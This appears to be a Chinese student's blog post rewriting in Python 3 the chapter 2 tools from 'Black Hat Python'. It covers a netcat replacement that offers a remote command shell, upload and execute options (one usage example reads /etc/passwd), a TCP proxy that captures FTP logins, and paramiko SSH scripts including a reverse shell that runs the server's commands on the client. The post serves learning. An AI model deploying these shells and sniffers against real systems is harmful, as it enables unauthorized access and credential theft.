挂起客户端线程，处理传入得数据 client_thread = threading.Thread(target=handle_client, args=(client, )) client_thread.start() 这里验证tcp服务端使用之前所写得程序即可，注意对应ip与端口号！！！ 取代netcat： # 这里需要特别注意编码问题，这里我引入了个第三方库chardet用于解决此类问题，在linux系统中默认编码为utf-8，在windows系统中默认编码为gbk。\nimport sys import getopt import threading import chardet import subprocess import socket # 定义一些全局变量 listen = False command = False execute = \u0026#34;\u0026#34; upload_destination = \u0026#34;\u0026#34; target = \u0026#34;\u0026#34; port = 0 def usage(): print(\u0026#34;BHP Net Tool\u0026#34;) print(\u0026#34;Usage: bhpnet.py -t target_host -p port\u0026#34;) print(\u0026#34;-l --listen -listen on [host]:[port] for incoming connections\u0026#34;) print(\u0026#34;-e --execute=file_to_run -execute the given file upon receiving a connection\u0026#34;) print(\u0026#34;-c --command -initialize a command shell\u0026#34;) print(\u0026#34;-u --upload=destination -upon receiving connection upload a file and write to [destination]\u0026#34;) print(\u0026#34;Examples:\u0026#34;) print(\u0026#34;bhpnet.py -t 192.168.0.1 -p 5555 -l -c\u0026#34;) print(\u0026#34;bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\\\target.exe\u0026#34;) print(\u0026#34;bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\\\u0026#34;cat /etc/passwd\\\u0026#34;\u0026#34;) print(\u0026#34;echo \u0026#39;ABCDEFGHI\u0026#39; | ./bhpnet.py -t 192.168.11.12 -p 135\u0026#34;) sys.exit(0) def main(): global listen, command, execute, upload_destination, target, port if not len(sys.argv[1:]): usage() # 读取命令行选项 try: opts, args = getopt.getopt(sys.argv[1:], \u0026#34;hle:t:p:cu:\u0026#34;, [\u0026#34;help\u0026#34;, \u0026#34;listen\u0026#34;, \u0026#34;execute=\u0026#34;, \u0026#34;target=\u0026#34;, \u0026#34;port=\u0026#34;, \u0026#34;command\u0026#34;, \u0026#34;upload=\u0026#34;]) except getopt.GetoptError as err: print(str(err)) usage() for o, a in opts: if o in (\u0026#39;-h\u0026#39;, \u0026#34;--help\u0026#34;): usage() elif o in (\u0026#34;-l\u0026#34;, \u0026#34;--listen\u0026#34;): listen = True elif o in (\u0026#34;-e\u0026#34;, \u0026#34;--execute\u0026#34;): execute = a elif o in (\u0026#34;-t\u0026#34;, \u0026#34;--target\u0026#34;): target = a elif o in (\u0026#34;-p\u0026#34;, \u0026#34;--port\u0026#34;): port = int(a) elif o in (\u0026#34;-c\u0026#34;, \u0026#34;--command\u0026#34;): command = True elif o in (\u0026#34;-u\u0026#34;, \u0026#34;--upload\u0026#34;): upload_destination = a else: assert False, \u0026#34;Unhandled Option\u0026#34; # 我们是进行监听还是仅从标准输入发送数据？ if not listen and len(target) and port \u0026gt; 0: # 从命令行读取内存数据 # 这里将阻塞，所以不在向标准输入发送数据时发送ctrl-D buffer = sys.stdin.read() # 发送数据 client_sender(buffer) # 我们开始监听并准备上传文件、执行命令 # 放置一个反弹shell # 取决于上面得命令行选项 if listen: server_loop() def server_loop(): global target # 如果没有定义目标，那么我们监听所有接口 if not len(target): target = \u0026#34;0.0.0.0\u0026#34; server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((target, port)) server.listen(5) while True: client_socket, addr = server.accept() # 分析一个线程处理新的客户端 client_thread = threading.Thread(target=client_handler, args=(client_socket, )) client_thread.start() def client_sender(buffer): # 连接到目标主机 client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: client.connect((target, port)) if len(buffer): client.send(buffer.encode(\u0026#39;utf-8\u0026#39;)) while True: # 现在等待数据回传 recv_len = 1 response = \u0026#34;\u0026#34; while recv_len: data = client.recv(4096).decode(\u0026#39;utf-8\u0026#39;) recv_len = len(data) response += data if recv_len \u0026lt; 4096: break print(response) # 等待更多输入 # 这里python2使用的是raw_input()，在python3中取消了此函数，input()可以起到相同的作用 buffer = input(\u0026#34;\u0026#34;) buffer += \u0026#39;\\n\u0026#39; # 发送数据 client.send(buffer.encode(\u0026#39;utf-8\u0026#39;)) except: print(\u0026#34;[*] Exception! Exiting.\u0026#34;) # 关闭连接 client.close() def run_command(command): # 处理多余得空格和换行符 command = command.rstrip() try: # 先解码，再执行命令 command = command.decode(\u0026#39;utf-8\u0026#39;) # 运行命令并将输出返回 output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True) # 这里所返回的命令结果都是以系统shell默认编码的形式返回。 except: output = b\u0026#34;Failed to execute command.\\r\\n\u0026#34; # 将输出发送 return output def client_handler(client_socket): # 检测上传文件 if len(upload_destination): # 读取所有都字符并写下目标 file_buffer = \u0026#34;\u0026#34; # 持续读取数据直到没有符合得数据 while True: data = client_socket.recv(1024).decode(\u0026#39;utf-8\u0026#39;) if not data: break else: file_buffer += data # 现在我们接受这些数据并将他们写出来 try: with open(upload_destination, \u0026#34;wb\u0026#34;) as file_descriptor: file_descriptor.write(file_buffer) client_socket.send(str.encode(\u0026#39;Successfully saved file to %s\u0026#39; % upload_destination)) except: client_socket.send(str.encode(\u0026#39;Failed saved file to %s\u0026#39; % upload_destination)) # 检查执行命令 if len(execute): output = run_command(execute) client_socket.send(output.encode(\u0026#39;utf-8\u0026#39;)) # 如果需要一个命令行shell，那么我们进入另一个循环 if command: while True: # 跳出一个窗口 client_socket.send(b\u0026#39;\u0026lt;BHP:#\u0026gt;\u0026#39;) cmd_buffer = \u0026#34;\u0026#34; cmd_buffer = str.encode(cmd_buffer) # 现在我们接收文件直到发现换行符 while \u0026#39;\\n\u0026#39; not in cmd_buffer.decode(\u0026#39;utf-8\u0026#39;): cmd_buffer += client_socket.recv(1024) # 返还命令输出 response = run_command(cmd_buffer) # 这里使用detect函数进行判断字节编码，并按照结果进行解码。 btype = chardet.detect(response) if btype[\u0026#39;encoding\u0026#39;] == \u0026#39;GB2312\u0026#39;: response = response.decode(\u0026#39;gbk\u0026#39;) response = str.encode(response) # 发送响应数据 client_socket.send(response) if __name__ == \u0026#39;__main__\u0026#39;: main() usage():用于帮助理解程序的作用以及用法。 server_loop():服务端主循环，用于接受客户端连接，返还客户端套接字。 client_sender()：用于连接服务端，首先检测是否已经从标准输入中接收数据，如果一切正常，就将数据发送给远程的目标主机并接受回传数据，知道没有更多的数据发送回来，然后再等待用户的下一步输入，并继续发送和接受数据，直到用户结束程序。 run_command():提供与客户端交互的方法，通过连接将命令结果回传到客户端。 client_handler():提供上传文件，执行命令，反弹shell的功能。\n下面再kali与windows上进行程序测试\n在windows中是使用ctrl-z反弹shell 在linux中是使用ctrl-d反弹shell 创建一个TCP代理： # 这段程序的16进制函数我也不是弄得很明白，只知道整个程序他是代理远程主机的某个端口，然后抓取其中传输的数据。具体我都是参考这位大佬的博客https://my.oschina.net/oby/blog/804064#comment-list\n#!/usr/bin/env python3 # -*- code: utf-8 -*- #说明：这里涉及到三方：本地主机、远程主机和服务器。 #该段代码是运行在服务器上的，为本地主机提供代理以便与远程主机通信。 import sys import socket import threading import logging logging.basicConfig(level=logging.WARNING) # this is a pretty hex dumping function directly taken from # http://code.activestate.com/recipes/142812-hex-dumper/ # 这个函数看了老半天才明白。。。 结果在却不适用于Python3 好想狗带 #def hexdump(src, length=16): #result = [] #digits = 4 if isinstance(src, unicode) else 2 #for i in xrange(0, len(src), length): #s = src[i:i+length] #hexa = b\u0026#39; \u0026#39;.join([\u0026#34;%0*X\u0026#34; % (digits, ord(x)) for x in s]) #text = b\u0026#39;\u0026#39;.join([x if 0x20 \u0026lt;= ord(x) \u0026lt; 0x7F else b\u0026#39;.\u0026#39; for x in s]) #result.append( b\u0026#34;%04X %-*s %s\u0026#34; % (i, length*(digits + 1), hexa, text) ) #print b\u0026#39;\\n\u0026#39;.join(result) def hexdump(src, length=16): result = [] # Python 3 renamed the unicode type to str, the old str type has been replaced by bytes digits = 4 if isinstance(src, str) else 2 # xrange() was renamed to range() in Python 3. for i in range(0, len(src), length): s = src[i:i+length] hexa = \u0026#39; \u0026#39;.join([\u0026#34;%0*X\u0026#34; % (digits, (x)) for x in s]) logging.info(\u0026#34;\\t\\thexa:%s\u0026#34;%hexa) logging.info(\u0026#34;\u0026#34;.join(str(type(x)) for x in s)) text = \u0026#39;\u0026#39;.join([chr(x) if 0x20 \u0026lt;= x \u0026lt; 0x7F else \u0026#39;.\u0026#39; for x in s]) logging.info(\u0026#34;\\t\\ttext:%s\u0026#34;%text) result.append( \u0026#34;%04X %-*s %s\u0026#34; % (i, length*(digits + 1), hexa, text) ) print (\u0026#39;\\n\u0026#39;.join(result)) #从一个连接中接收数据并返回。 def receive_from(connection): buffer = b\u0026#34;\u0026#34; # We set a 2 second time out depending on your # target this may need to be adjusted #接收数据需要在2s内处理完成，否者抛出超时异常。 这个时间有些短，后续测试的时候输入FTP账号、密码的时间有些紧。。。 #可调长一些，但其实应该用更科学的办法来处理。。。 还是那句话，后面的路还很远，先略过。。。 connection.settimeout(2) try: # keep reading into the buffer until there\u0026#39;s no more data # or we time out while True: data = connection.recv(4096) if not data: break logging.info(\u0026#34;receive data:%s\u0026#34;%data) buffer += data except: pass return buffer # modify any requests destined for the remote host # 可以在该函数中修改传送到远程主机的数据（请求数据）。 def request_handler(buffer): # perform packet modifications return buffer # modify any responses destined for the local host # 可以在该函数中修改远程主机返回到本地主机的数据（响应数据） def response_handler(buffer): # perform packet modifications return buffer # 在线程中处理代理任务。。。 def proxy_handler(client_socket, remote_host, remote_port, receive_first): # connect to the remote host # 请求与远程主机的连接。 remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) remote_socket.connect((remote_host,remote_port)) # receive data from the remote end if necessary if receive_first: remote_buffer = receive_from(remote_socket) logging.info(\u0026#34;remote_buffer:%s\u0026#34;%remote_buffer) hexdump(remote_buffer) # send it to our response handler remote_buffer = response_handler(remote_buffer) # if we have data to send to our local client send it if len(remote_buffer): print (\u0026#34;[\u0026lt;==] Sending %d bytes to localhost.\u0026#34; % len(remote_buffer)) client_socket.send(remote_buffer) # now let\u0026#39;s loop and reading from local, send to remote, send to local # rinse wash repeat while True: # read from local host local_buffer = receive_from(client_socket) if len(local_buffer):\tprint (\u0026#34;[==\u0026gt;] Received %d bytes from localhost.\u0026#34; % len(local_buffer)) hexdump(local_buffer) # send it to our request handler local_buffer = request_handler(local_buffer) # send off the data to the remote host remote_socket.send(local_buffer) print (\u0026#34;[==\u0026gt;] Sent to remote.\u0026#34;) # receive back the response remote_buffer = receive_from(remote_socket) if len(remote_buffer): print (\u0026#34;[\u0026lt;==] Received %d bytes from remote.\u0026#34; % len(remote_buffer)) hexdump(remote_buffer) # send to our response handler remote_buffer = response_handler(remote_buffer) # send the response to the local socket client_socket.send(remote_buffer) print (\u0026#34;[\u0026lt;==] Sent to localhost.\u0026#34;) # if no more data on either side close the connections if not len(local_buffer) or not len(remote_buffer): client_socket.close() remote_socket.close() print (\u0026#34;[*] No more data. Closing connections.\u0026#34;) break # 开放一个端口,等待本地客户机连接。 def server_loop(local_host,local_port,remote_host,remote_port,receive_first): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: server.bind((local_host,local_port)) except: print (\u0026#34;[!!] Failed to listen on %s:%d\u0026#34; % (local_host,local_port)) print (\u0026#34;[!!] Check for other listening sockets or correct permissions.\u0026#34;) sys.exit(0) print (\u0026#34;[*] Listening on %s:%d\u0026#34; % (local_host,local_port)) server.listen(5) while True: client_socket, addr = server.accept() # print out the local connection information print (\u0026#34;[==\u0026gt;] Received incoming connection from %s:%d\u0026#34; % (addr[0],addr[1])) # start a thread to talk to the remote host proxy_thread = threading.Thread(target=proxy_handler,args=(client_socket,remote_host,remote_port,receive_first)) proxy_thread.start() # 解析运行参数，调用服务。 def main(): # no fancy command line parsing here if len(sys.argv[1:]) != 5: print (\u0026#34;Usage: ./proxy.py [localhost] [localport] [remotehost] [remoteport] [receive_first]\u0026#34;) print (\u0026#34;Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True\u0026#34;) sys.exit(0) # setup local listening parameters local_host = sys.argv[1] local_port = int(sys.argv[2]) # setup remote target remote_host = sys.argv[3] remote_port = int(sys.argv[4]) # this tells our proxy to connect and receive data # before sending to the remote host receive_first = sys.argv[5] if \u0026#34;True\u0026#34; in receive_first: receive_first = True else: receive_first = False # now spin up our listening socket server_loop(local_host,local_port,remote_host,remote_port,receive_first) main() 这个是测试结果，抓取到了ftp传输的数据。 通过Paramiko使用ssh # 在敲代码之前，我们需要引入一个第三方库\npip install paramiko 在示例中，我们首先需要引入paramiko库，然后使用SSHClient()方法实例化对象，然后使用load_host_key()方法密钥认证的方式连接服务器，这里让实验可视化使用connect()方法以明文密码的方式连接服务器，连接服务器之前可以使用set_missing_host_key_policy()设置对于服务器密钥的策略，使用AutoAddPolicy()设置策略为自动添加服务器密钥，然后使用get_transport()与open_session()方法来得到ssh加密通道和打开线程，运用if语句与acitve属性判断线程是否存活，如果存活，使用exec_command()来执行我们想要执行的命令，通过recv()方法将命令在服务器执行后的结果返回给我们，这里也需要注意编码问题。\nimport paramiko def ssh_command(ip, port, user, passwd, command): # 实例化对象 client = paramiko.SSHClient() # client.load_host_keys(\u0026#39;/home/kali/.ssh/know_hosts\u0026#39;) client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(ip, port, user, passwd) ssh_session = client.get_transport().open_session() if ssh_session.active: ssh_session.exec_command(command) print(ssh_session.recv(1024).decode(\u0026#39;utf-8\u0026#39;)) return ssh_command(\u0026#34;172.18.220.229\u0026#34;, 22, \u0026#34;root\u0026#34;, \u0026#34;toor\u0026#34;, \u0026#34;id\u0026#34;) 运行程序后得到了服务器执行命令后的结果 然后这里再做一个反向的，是在ssh服务器上输入命令，在ssh客户端上执行，然后将命令执行的结果返回给ssh服务器。所以这里是ssh服务器控制ssh客户端。 这里先贴ssh客户端的代码(bh_sshRcmd.py)：\nimport paramiko import subprocess from chardet import * def ssh_command(ip, port, user, passwd, command): # 实例化对象 client = paramiko.SSHClient() # client.load_host_keys(\u0026#39;/home/kali/.ssh/know_hosts\u0026#39;) client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(ip, port, user, passwd) ssh_session = client.get_transport().open_session() if ssh_session.active: ssh_session.send(command.encode(\u0026#39;utf-8\u0026#39;)) # 读取服务器banner print(ssh_session.recv(1024).decode(\u0026#39;utf-8\u0026#39;)) while True: # 得到ssh服务器发过来的命令 command = ssh_session.recv(1024).decode(\u0026#39;utf-8\u0026#39;) try: cmd_output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True) bytestype = detect(cmd_output) if bytestype[\u0026#39;encoding\u0026#39;] == \u0026#39;GB2312\u0026#39;: cmd_output = cmd_output.decode(\u0026#39;gbk\u0026#39;) cmd_output = cmd_output.encode(\u0026#39;utf-8\u0026#39;) ssh_session.send(cmd_output) except Exception as err: ssh_session.send(str(err).encode(\u0026#39;utf-8\u0026#39;)) client.close() return ssh_command(\u0026#34;172.18.220.229\u0026#34;, 22, \u0026#34;root\u0026#34;, \u0026#34;toor\u0026#34;, \u0026#34;id\u0026#34;) 这里的代码跟刚刚代码没有很大的区别，只是将判断线程存活后是接收服务器的命令并执行，中间执行完命令后对命令编码进行判断，然后如果符合条件将更改编码，最后将命令运行结果发送回服务器。 然后下面是服务器代码：\nimport socket import threading import sys import paramiko host_key = paramiko.RSAKey(filename=\u0026#34;test_rsa.key\u0026#34;) class Server(paramiko.ServerInterface): def __init__(self): # 执行start_server()方法首先会触发Event,如果返回成功, is_active返回True self.event = threading.Event def check_auth_password(self, username, password): # 当is_active返回True,进入认证阶段 if username == \u0026#39;WY\u0026#39; and password == \u0026#39;password\u0026#39;: return paramiko.AUTH_SUCCESSFUL return paramiko.AUTH_FAILED def check_channel_request(self, kind, chanid): # 当认证成功,client会请求打开一个Channel if kind == \u0026#39;session\u0026#39;: return paramiko.OPEN_SUCCEEDED return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED # 命令接受ip与port server = sys.argv[1] port = int(sys.argv[2]) # 建立socket套接字 try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # SOL_SOCKET 意思是正在使用的socket选项。 # SO_REUSEADDR 当socket关闭后，本地端用于该socket的端口号立刻就可以被重用 # 1 表示将SO_REUSEADDR标记为TRUE，操作系统会在服务器socket被关闭或服务器进程终止后马上释放该服务器的端口，否则操作系统会保留几分钟该端口。 sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind((server, port)) sock.listen(100) print(\u0026#39;[+] Listening for connection...\u0026#39;) client, addr = sock.accept() except Exception as e: print(\u0026#39;[-] Listen failed!\u0026#39;) sys.exit(1) print(\u0026#39;[+] Got a connection!\u0026#39;) try: # 用sock.accept()返回的socket实例化Transport bhSession = paramiko.Transport(client) # 添加一个RSA密钥加密会话 bhSession.add_server_key(host_key) server = Server() try: # 启动SSH服务端 bhSession.start_server(server=server) except paramiko.SSHException as x: print(\u0026#39;[-] SSH negotiation failed.\u0026#39;) # 等待客户端开启通道，超时时间为20秒 chan = bhSession.accept(20) print(\u0026#39;[+] Authenticated!\u0026#39;) print(chan.recv(1024).decode(\u0026#39;utf-8\u0026#39;)) chan.send(b\u0026#39;welcome to bh_ssh\u0026#39;) while True: try: command = input(\u0026#34;Enter command:\u0026#34;).strip(\u0026#39;\\n\u0026#39;) if command != \u0026#39;exit\u0026#39;: chan.send(command.encode(\u0026#34;utf-8\u0026#34;)) print(chan.recv(1024).decode(\u0026#34;utf-8\u0026#34;)+\u0026#39;\\n\u0026#39;) else: chan.send(b\u0026#39;exit\u0026#39;) print(\u0026#39;exiting.\u0026#39;) bhSession.close() raise Exception(\u0026#39;exit\u0026#39;) except KeyboardInterrupt: bhSession.close() except Exception as e: print(\u0026#39;[-] Caught exception:\u0026#39;+str(e)) try: bhSession.close() except: pass sys.exit(1) 这里的密钥使用的是paramiko示例文件中的密钥 这段代码是先通过定义Server类，继承ssh服务器管道，配置认证模式，当用户名密码正确时，客户端会请求打开一个channel。这里是通过socket套接字进行绑定为基础绑定到ssh通道中，当客户端认证成功时会发送一串数据给服务器，然后我们在服务器上输入的任何命令都会在客户端执行并将其记过返回过来。\nSSH隧道 # ssh隧道简单来说就是通过代理访问某台服务器。 关于ssh隧道方面的知识这篇文章就写的非常好： https://www.ibm.com/developerworks/cn/linux/l-cn-sshforward/index.html ssh本地端口转发命令格式如下：\nssh -L \u0026lt;local port\u0026gt;:\u0026lt;remote host\u0026gt;:\u0026lt;remote port\u0026gt; \u0026lt;SSH hostname\u0026gt; 下面我们可以做一个简单的实验： 我在centos上搭建了ssh服务器与web服务器，其中web服务器仅能本地访问，下面通过ssh隧道方式在kali上访问web服务器： 然后这里kali上的Firefox设置代理指到127.0.0.1:8080 然后访问我们的web服务器： 然后这里直接访问本地的8080端口也是可以得到页面的： 下面我们贴出ssh隧道代码：\n#!/usr/bin/env python # Copyright (C) 2008 Robey Pointer \u0026lt;robeypointer@gmail.com\u0026gt; # # This file is part of paramiko. # # Paramiko is free software; you can redistribute it and/or modify it under the # terms of the GNU Lesser General Public License as published by the Free # Software Foundation; either version 2.1 of the License, or (at your option) # any later version. # # Paramiko is distributed in the hope that it will be useful, but WITHOUT ANY # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR # A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # details. # # You should have received a copy of the GNU Lesser General Public License # along with Paramiko; if not, write to the Free Software Foundation, Inc., # 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA. \u0026#34;\u0026#34;\u0026#34; Sample script showing how to do remote port forwarding over paramiko. This script connects to the requested SSH server and sets up remote port forwarding (the openssh -R option) from a remote port through a tunneled connection to a destination reachable from the local machine. \u0026#34;\u0026#34;\u0026#34; import getpass import os import socket import select import sys import threading from optparse import OptionParser import paramiko SSH_PORT = 22 DEFAULT_PORT = 4000 g_verbose = True def handler(chan, host, port): sock = socket.socket() try: sock.connect((host, port)) except Exception as e: verbose(\u0026#34;Forwarding request to %s:%d failed: %r\u0026#34; % (host, port, e)) return verbose( \u0026#34;Connected! Tunnel open %r -\u0026gt; %r -\u0026gt; %r\u0026#34; % (chan.origin_addr, chan.getpeername(), (host, port)) ) while True: r, w, x = select.select([sock, chan], [], []) if sock in r: data = sock.recv(1024) if len(data) == 0: break chan.send(data) if chan in r: data = chan.recv(1024) if len(data) == 0: break sock.send(data) chan.close() sock.close() verbose(\u0026#34;Tunnel closed from %r\u0026#34; % (chan.origin_addr,)) def reverse_forward_tunnel(server_port, remote_host, remote_port, transport): transport.request_port_forward(\u0026#34;\u0026#34;, server_port) while True: chan = transport.accept(1000) if chan is None: continue thr = threading.Thread( target=handler, args=(chan, remote_host, remote_port) ) thr.setDaemon(True) thr.start() def verbose(s): if g_verbose: print(s) HELP = \u0026#34;\u0026#34;\u0026#34;\\ Set up a reverse forwarding tunnel across an SSH server, using paramiko. A port on the SSH server (given with -p) is forwarded across an SSH session back to the local machine, and out to a remote site reachable from this network. This is similar to the openssh -R option. \u0026#34;\u0026#34;\u0026#34; def get_host_port(spec, default_port): \u0026#34;parse \u0026#39;hostname:22\u0026#39; into a host and port, with the port optional\u0026#34; args = (spec.split(\u0026#34;:\u0026#34;, 1) + [default_port])[:2] args[1] = int(args[1]) return args[0], args[1] def parse_options(): global g_verbose parser = OptionParser( usage=\u0026#34;usage: %prog [options] \u0026lt;ssh-server\u0026gt;[:\u0026lt;server-port\u0026gt;]\u0026#34;, version=\u0026#34;%prog 1.0\u0026#34;, description=HELP, ) parser.add_option( \u0026#34;-q\u0026#34;, \u0026#34;--quiet\u0026#34;, action=\u0026#34;store_false\u0026#34;, dest=\u0026#34;verbose\u0026#34;, default=True, help=\u0026#34;squelch all informational output\u0026#34;, ) parser.add_option( \u0026#34;-p\u0026#34;, \u0026#34;--remote-port\u0026#34;, action=\u0026#34;store\u0026#34;, type=\u0026#34;int\u0026#34;, dest=\u0026#34;port\u0026#34;, default=DEFAULT_PORT, help=\u0026#34;port on server to forward (default: %d)\u0026#34; % DEFAULT_PORT, ) parser.add_option( \u0026#34;-u\u0026#34;, \u0026#34;--user\u0026#34;, action=\u0026#34;store\u0026#34;, type=\u0026#34;string\u0026#34;, dest=\u0026#34;user\u0026#34;, default=getpass.getuser(), help=\u0026#34;username for SSH authentication (default: %s)\u0026#34; % getpass.getuser(), ) parser.add_option( \u0026#34;-K\u0026#34;, \u0026#34;--key\u0026#34;, action=\u0026#34;store\u0026#34;, type=\u0026#34;string\u0026#34;, dest=\u0026#34;keyfile\u0026#34;, default=None, help=\u0026#34;private key file to use for SSH authentication\u0026#34;, ) parser.add_option( \u0026#34;\u0026#34;, \u0026#34;--no-key\u0026#34;, action=\u0026#34;store_false\u0026#34;, dest=\u0026#34;look_for_keys\u0026#34;, default=True, help=\u0026#34;don\u0026#39;t look for or use a private key file\u0026#34;, ) parser.add_option( \u0026#34;-P\u0026#34;, \u0026#34;--password\u0026#34;, action=\u0026#34;store_true\u0026#34;, dest=\u0026#34;readpass\u0026#34;, default=False, help=\u0026#34;read password (for key or password auth) from stdin\u0026#34;, ) parser.add_option( \u0026#34;-r\u0026#34;, \u0026#34;--remote\u0026#34;, action=\u0026#34;store\u0026#34;, type=\u0026#34;string\u0026#34;, dest=\u0026#34;remote\u0026#34;, default=None, metavar=\u0026#34;host:port\u0026#34;, help=\u0026#34;remote host and port to forward to\u0026#34;, ) options, args = parser.parse_args() if len(args) != 1: parser.error(\u0026#34;Incorrect number of arguments.\u0026#34;) if options.remote is None: parser.error(\u0026#34;Remote address required (-r).\u0026#34;) g_verbose = options.verbose server_host, server_port = get_host_port(args[0], SSH_PORT) remote_host, remote_port = get_host_port(options.remote, SSH_PORT) return options, (server_host, server_port), (remote_host, remote_port) def main(): options, server, remote = parse_options() password = None if options.readpass: password = getpass.getpass(\u0026#34;Enter SSH password: \u0026#34;) client = paramiko.SSHClient() client.load_system_host_keys() client.set_missing_host_key_policy(paramiko.WarningPolicy()) verbose(\u0026#34;Connecting to ssh host %s:%d ...\u0026#34; % (server[0], server[1])) try: client.connect( server[0], server[1], username=options.user, key_filename=options.keyfile, look_for_keys=options.look_for_keys, password=password, ) except Exception as e: print(\u0026#34;*** Failed to connect to %s:%d: %r\u0026#34; % (server[0], server[1], e)) sys.exit(1) verbose( \u0026#34;Now forwarding remote port %d to %s:%d ...\u0026#34; % (options.port, remote[0], remote[1]) ) try: reverse_forward_tunnel( options.port, remote[0], remote[1], client.get_transport() ) except KeyboardInterrupt: print(\u0026#34;C-c: Port forwarding stopped.\u0026#34;) sys.exit(0) if __name__ == \u0026#34;__main__\u0026#34;: main() 下面使用这个脚本访问我们Centos中的web服务器： 【本章完结】 # 第三章 网络：原始套接字和流量嗅探 传送门：https://blog.csdn.net/qq_40549070/article/details/108355832\n","date":"2020-08-24","externalUrl":null,"permalink":"/posts/python-black-hat/","section":"文章","summary":"《Python黑帽子》代码实现 # 本篇笔记全部用python3实现，本人大一在校生第一次写博客，有错误之处希望大家积极指出。 参考大佬博客： https://www.cnblogs.com/zhangyuxiang666/p/11010581.html https://blog.csdn.net/qq_39038028/article/details/72860112\n第二章 网络基础: # 创建Tcp客户端（tcpClient.py): # 示例中引用了首先导入socket模块，使用socket()方法来创建套接字并实例化对象，AF_INET表明IPv4地址，SOCK_STREAM表明是关于TCP套接字，然后使用connect()方法连接tcp服务端，使用send()和recv()方法来发送和接受数据，这里需要注意的是python3套接字的传输需要将数据转为byte的形式，使数据可视化又需要解码为str，这里是简单的构造了一个http请求。\n","title":"《Python黑帽子》python3代码实现(第二章)","type":"posts"},{"content":"","externalUrl":null,"permalink":"/authors/","section":"Authors","summary":"","title":"Authors","type":"authors"},{"content":"一个安全行业的小透明，仅记录自己的学习经历。\n📬 联系方式 # GitHub: @rainwoo Email: hiwuyu@foxmail.com ","externalUrl":null,"permalink":"/authors/rain/","section":"Authors","summary":"一个安全行业的小透明，仅记录自己的学习经历。\n📬 联系方式 # GitHub: @rainwoo Email: hiwuyu@foxmail.com ","title":"Rain","type":"authors"}]